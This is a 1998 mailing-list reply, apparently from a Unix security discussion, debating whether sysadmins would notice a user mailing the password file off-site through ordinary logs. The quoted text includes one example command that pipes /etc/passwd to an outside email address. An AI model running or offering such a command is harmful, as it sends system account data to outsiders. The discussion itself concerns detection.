On Wed, 2 Sep 1998, Karel Bemelmans wrote:
> I personaly don't think every sysadmin is gonna read the logs of the night
> when he starts work. With <10 users, that could be done, but with over a
> 100 users, that's an impossible job.
>
Very true.
> And why would mailing the password file be logged ? All that gets logged
> is a mail from user fred to some other e-mail address on the net.
> (as a result from doing `cat /etc/passwd | mail [EMAIL PROTECTED]`)
> Nothing strange about yet another e-mail being sent out, or is there ?
Yes, if the sysadmin happens to know his users and when they are likely to
be logged in.
> (and then I'm not talking about the fact that most systems have shadow
> nowadays...)
>
No, nor am I...
--
Mike <[EMAIL PROTECTED]>
There is not much to choose between a woman who deceives us for another,
and a woman who deceives another for ourselves.
-- Augier
